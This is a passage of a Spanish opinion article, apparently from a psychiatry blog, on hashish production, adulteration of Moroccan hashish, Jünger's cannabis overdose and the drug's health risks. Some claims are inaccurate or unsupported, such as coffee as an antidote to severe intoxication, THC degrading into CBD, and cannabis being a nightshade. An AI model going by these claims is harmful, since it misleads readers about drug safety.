</font></font></strong> <font size="3"><font face="Times New Roman"><strong>             </strong>El mayor productor de “hierba&#8221; es Estados Unidos donde proliferan los llamados ciber-jardines. El cultivador que abastece en ese país sólo tiene que ir a su lugar de cultivo -sea de interior o exterior en invernaderos- a sembrar y cosechar, ahorrándose así muchos problemas legales allí donde los haya. Desde cientos o miles de kilómetros controla luz, agua y nutrientes, humedad, plagas, etc., normalmente con cultivo hidropónico, por medio de programas informáticos que incluyen un virus que en caso de alerta destruye toda la información. El haschish lo importan de Afganistán y otros países del sureste asiático, garantizando una calidad más que aceptable y por ende una salud mejor que la de los fumadores europeos, por las razones que expongo a continuación.</font></font></p>
<p><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font size="3"><font face="Times New Roman">            Siguiendo el procedimiento afgano o pakistaní, el haschish allí se obtiene restregándose por entre las plantas ya maduras, lo que queda adherido a prendas de cuero con las que visten a tal efecto, es una sustancia resinosa (secreciones de THC), que luego rasparán con espátulas u otros instrumentales obteniendo así el producto que, a costa de desperdiciar mucho, la calidad es inmejorable con un suave efecto al paladar y garganta, unas 40 veces más potente que el marroquí y muy aromático. Cosa similar realizan en el vecino Pakistán donde con guantes de cuero (de nuevo), van pasando sus manos por las flores de la hembra de cáñamo, que luego recogerán de igual modo que en Afganistán. </font></font></font></font><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font size="3"><font face="Times New Roman">            De hecho por poner un ejemplo, en Bombay, la ciudad más sibarita de toda la India, lo compran y fuman de su vecino Cachemira con el que tantos conflictos territoriales tienen, pudiéndolo comprar de su mismo país o zonas como Nepal que fue paraíso de hippies a finales de los años 60, y no sólo por su “material&#8221;. </font></font></font></font><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font size="3"><font face="Times New Roman">  </font></font></p>
<p><font size="3"><font face="Times New Roman">            Pero sucede que, en lo que a nosotros nos atañe, el gran abastecedor europeo era y sigue siendo Marruecos, que viene desde hace décadas surtiendo de haschish a los jóvenes y no tan jóvenes de la península ibérica, sirviendo ésta por otro lado, de ruta por la cual entra en los demás países miembros –tan generoso después en cuestiones bilaterales- a excepción de algunos. Los suelos de la ya muy castigada Ketama cada vez son más pobres en abonos por una inercia y prisa crónica por cultivar y rentabilizar la solanácea.</font></font></p>
<p><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font size="3"><font face="Times New Roman">            Además si unimos a ello que la demanda europea obviamente excede –y con mucho- a los campos de cultivo rifeños, algo tendrán que hacer para multiplicar la cosecha y sacarle el máximo rendimiento. Evidentemente, “cortar&#8221; la droga sobre la base de que, partiendo de un producto inferior en THC al asiático aparte de por el déficit de nutrientes mencionado (y que se encuentran en los substratos), unimos a que el proceso de recolección y manufactura es pésimo. Es decir, la planta hembra del cáñamo, se debe secar colgada de las raíces (boca abajo), en lugares oscuros, bien ventilados y con una humedad razonable. El cosechador no dispone de todos estos elementos, lo único que tiene es premura por dar salida a su paupérrimo producto, dejando secar las plantas al sol y amontonándolas unas sobre otras haciendo que el escaso THC se descomponga en otros canabinoles como el CBD que causa amodorramiento y sopor en lugar de introspección o vulgarmente, “viaje psíquico&#8221;.</font></font></font></font><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"> <font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font size="3"><font face="Times New Roman">            El colmo de los despropósitos acontece cuando se analizan -mediante sentencias condenatorias- no sólo los porcentajes de THC, (2.2% en la sentencia 1.125 de 2 de noviembre de 1995, del Tribunal Supremo), -cuando estando en las farmacias y herbolarios/droguerías a primeros de siglo ese porcentaje no bajaba del 15%- sino lo que lleva inextricablemente unido. Como obedece a criterios de rentabilidad, por supuesto, se debe aumentar el peso de lo que llaman haschish con polvo de henna y estiércol de burro (tan abundante en los márgenes septentrionales del país, lo cual sugiere a algunos autores (<strong>3</strong>) y a cualquiera que piense un momento, que la adulteración se realiza en el origen), o paja molida. Como la cantidad de resina es tan ínfima como para que se aglomere la masa, lo mezclan asimismo con agentes como clara de huevo, goma arábiga y/o leche condensada; confiriéndole así el aspecto deseado con formas astutas de reiterados prensados.</font></font></font></font><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font size="3"><font face="Times New Roman" /><font size="3"><font size="3"><font face="Times New Roman">            Que un servidor sepa –salvo error- <em>los ministerios de sanidad de los gobiernos europeos no han realizado ningún estudio sobre la suerte que correrán los pulmones y otras vísceras de los usuarios al fumar defecaciones de animales, y toda la gama de aditivos que nada tienen que ver con lo que es la sustancia pura en sí</em>; pero cabe pensar que si no a corto plazo, a medio o largo, serán devastadores. A mi juicio se debería condenar a estos irresponsables delincuentes, no sólo como envenedadores, sino como criminales de lesa humanidad, (ya que el argumento de que “no compre o fume usted&#8221;, no parece de mucho peso sociológico), ya que eso sí que es en puridad un delito (y gravísimo) contra la salud pública. Ya que rara será la ciudad donde no se encuentren 100 o 200 puntos de venta de “basura&#8221; más o menos fijos o ambulantes. </font></font></font></font><font size="3"><font size="3"><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font face="Times New Roman" size="3" /></font></font><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><strong><font size="3"><font face="Times New Roman">Inconvenientes del uso y abuso del cáñamo.<br />
</font></font></strong> </p>
<p><font size="3"><font face="Times New Roman">            Evidentemente, no todo son virtudes en el uso de los derivados de la cannabis. Son muy sorprendentes y muy interesantes los relatos de Ernst Jünger en sus “<em>Annerüngen&#8221;</em> (“Acercamientos, drogas y ebriedad&#8221;; 1977), donde cuenta sus experiencias con todo tipo de drogas que en el caso de la cocaína rozó lo temerario –ya que ingirió la primera vez una dosis casi cien veces superior a la recomendada por Freud en aquellas fechas, y al decir que se debía acudir a ellas con mucho respeto y, sin embargo en el caso del inocente haschish, dijese que con éste, “<em>se extremase al máximo la precaución&#8221;</em>. (<strong>4</strong>).</font></font></p>
<p><font size="3"><font face="Times New Roman" /><font size="3"><font face="Times New Roman" size="3">Hijo de un boticario alemán encontró una noche en una especie de desván del hotel donde iba a pernoctar, muchos frascos de farmacia; en uno de ellos ponía explícitamente “Extr. Cannabis&#8221;.</font></font></font><font size="3"><font size="3"><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font face="Times New Roman" size="3">Logró extraer con el mango de su cepillo de dientes una sustancia ambarina/verdosa del tamaño de una avellana aproximadamente, ignorando al pensar que debía llevar allí mucho tiempo que no sería apenas psicoactiva. Más tarde le vendría a la mente otro fruto seco: “la castaña&#8221; con que se topó, que hubo de despertar al médico del pueblo de urgencia, al resto de huéspedes, al recepcionista, etc., cuando –a la hora después- empezó a beber agua abundantemente al objeto de vomitar (sin efecto, ya que el fármaco había entrado en el torrente sanguíneo), diciendo que “<em>no le podía vencer ni la angustia ni la locura&#8221;</em> cuando con el pijama desabotonado corría despavorido escaleras arriba y abajo tropezando con maletas, personas, entrando en habitaciones ajenas, etc.; en  definitiva, perdió el control. Cosa que no le había sucedido ni con peyote, cocaína, opio, éter y otras sustancias psicoactivas similares.</font></font></font><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font size="3"><font face="Times New Roman">            Tras la anamnesis de rigor preguntando si había ingerido algún alimento en mal estado o medicina, le sirvió de chivo expiatorio que desviara la culpa, a unas “carpas a la polonesa&#8221; –así se llama el capítulo que referencio- que había almorzado junto a su madre en Leipzig, esto fue lo que adujo también su madre y al recordarlo, no logró contener una gran carcajada que alertó al médico de lo que podría ocurrir (ya que empezaba a pasar de un estado de excitación a otro de sopor o sueño profundo). El doctor pidió que se sirviera café bien cargado, sacó de su maletín un sobre con unos polvos marrones (moka) y, haciendo la mezcla se la hizo beber. A los pocos minutos estaba recuperado, incluso antes de acabar la taza ya empezó a sentirse mejor. Hoy en día sabemos por ello, que un buen antídoto para intoxicaciones graves de haschish, es la moka con café para inducir el despertar y/o recuperar las funciones normales al organismo.</font></font></font></font><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font size="3"><font face="Times New Roman">            Experimentos concienzudos se hicieron de hecho con animales. En concreto unos investigadores en una ocasión tratando de encontrar la dosis letal, inyectaron en la yugular de un perro 57 gramos de extracto de, o aceite de haschish egipcio muy puro. Esperando encontrárselo muerto, el can estuvo durmiendo durante 72 horas sin notar ningún otro efecto indeseable añadido. Tal vez los animales metabolicen el haschish de forma diferente a los humanos, como acontece con otras numerosas moléculas en veterinaria en relación a la Medicina. Sabido es por ejemplo, el amplio margen de dosis de corticoides que puede soportar un felino sin sufrir daños que le pasarían graves facturas al humano, mientras que si le damos dosis equivalentes a su peso de paracetamol, siguiendo con el ejemplo, lo mataríamos.</font></font></font></font><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font size="3"><font face="Times New Roman"> A pesar de que fumado, la toxicidad del cáñamo es despreciable ya que ni fumando al ritmo del libro Guinnes de los Récords, podrian nuestros pulmones asimilar una dosis como la que ingirió Jünger; los rastas jamaicanos, que fuman grandes cigarros de marihuana sola y de gran pureza, sufren los mismos riesgos de bronquitis y cáncer de pulmón, que un fumador de tabaco (<strong>5</strong>). Aparte de que al fumar desde la mañana a la noche se promueve una insensibilidad a la droga (tolerancia), que hace que a partir del segundo “porro&#8221; los siguientes no hagan efecto apenas, en un sinsentido ritualista de “fumada&#8221; colectiva o no; ya que dicha tolerancia en moléculas psiquedélicas es instantánea, a diferencia de otras drogas como heroína y cocaína, donde ésta es gradual.</font></font></font></font><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font size="3"><font face="Times New Roman">Aquí vendría bien contemplar de nuevo la frase del mayor terapeuta renacentista Paracelso: “<em>sola dosis facit venenum&#8221;</em></font></font></font></font><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font size="3"><font face="Times New Roman"><em><br />
</em></font></font> <font size="3"><font face="Times New Roman"><em>            </em>No es ocioso recordar –aunque no los citemos- todos los estudios controlados que se han realizado y, que han llegado a la conclusión que está desaconsejado para todo tipo de psicosis, sean estas esquizofrénicas, o no, (<strong>6</strong>); también para aquellas personas aquejadas de trastornos de ansiedad como el pánico y agorafobia y, en general para aquellos que sufren de algún trastorno mental o problema de conducta.</font></font></p>
<p><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font size="3"><font face="Times New Roman">            Ahora bien…, en personas sanas, su uso con fines introspectivos/sacramentales, lúdicos o de curación o atenuación de alguna dolencia, ¿es ilegítimo usarlo al ser una sustancia ilegal? Lo dejamos al libre albedrío de cada cual que puede seguir envenenándose con lo que compra en la calle o, autoabastecerse con los modernos métodos de cultivo tanto en interior como en exteriores que se vienen ofertando desde hace tiempo ya en las Grow Shops, sin grandes problemas si es que su uso es ese; es decir el de consumo propio de marihuana o haschish de calidad.</font></font></font></font><font face="Times New Roman" size="3"><font face="Times New Roman" size="3"><font size="3"><font face="Times New Roman" /><font size="3"><font face="Times New Roman" size="3" /></font></font><font size="3"><font size="3"><font face="Times New Roman" size="3"><font size="3"><font face="Times New Roman"><strong>REFERENCIAS</strong> <strong>Y BIBLIOGRAF�?A CONSULTADA.</strong></font></font></p>
<p><font size="3"><font face="Times New Roman"><strong><br />
</strong></font></font> <font face="Times New Roman" size="3">(<strong>1</strong>).- López, F. J. “<em>La estafa prohibicionista: antecedentes, mantenimiento y consecuencias</em>��? (2007). Madrid: Revista Universitas. Publicaciones de la Universidad Carlos III de Madrid. </font></p>
<p><font size="3"><font face="Times New Roman"><strong>2</strong>).- Asociación Ramón Santos para el Estudio del Cannabis (A.R.S.E.C.). <em>Cannabis: Manual de cultivo para el autoconsumo.</em> (1998). ARSEC: Barcelona.</font></font></p>
<p><font face="Times New Roman" size="3">(<strong>3</strong>).- Escohotado, A. <em>La cuestión del cáñamo. Una propuesta constructiva sobre hachis y marihuana</em>. (1997). Anagrama: Barcelona.</font></p>
<p><font face="Times New Roman" size="3">(<strong>4</strong>).- Jünger, E. <em>Acercamientos: Drogas y ebriedad</em>. (1978). (Traducción de Enrique Ocaña, 2000). Tusquets: Barcelona. </font></p>
<p><font face="Times New Roman" size="3">(<strong>5</strong>).- Escohotado, A. <em>Historia General de las Drogas</em>. (1999). Espasa Calpe: Madrid.</font></p>
<p><font face="Times New Roman" size="3">(<strong>6</strong>).- Romero, C; Collazos, F; Valero, S. y Casas, M. “Consumo de cannabis y desarrollo de psicosis: estado actual. (2007). <em>Actas Españolas de Psiquiatría</em>, May, 35, (3).</font></p>
<p><font face="Times New Roman" size="3" /><font face="Times New Roman" size="3"><strong><font size="3"><font face="Times New Roman">Otros textos recomendados relacionados con el tema<br />
</font></font></strong></p>
<ul type="disc">
<li><font face="Times New Roman" size="3">Escohotado, A. <em>Retrato del libertino</em>. (1997). Espasa Calpe: Madrid.</font></li>
<li><font face="Times New Roman" size="3">Usó, J. C. (1996). <em>Drogas y cultura de masas, España 1855-1995</em>.. Taurus: Madrid.</font></li>
<li><font face="Times New Roman" size="3">Vallejo-Nájera, J. A. <em>Guía Práctica de Psicología</em>. (2001, vigesimoquinta edición). Ediciones Temas de Hoy: Madrid.</font></li>
</ul>
<p /></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font>
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/22/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
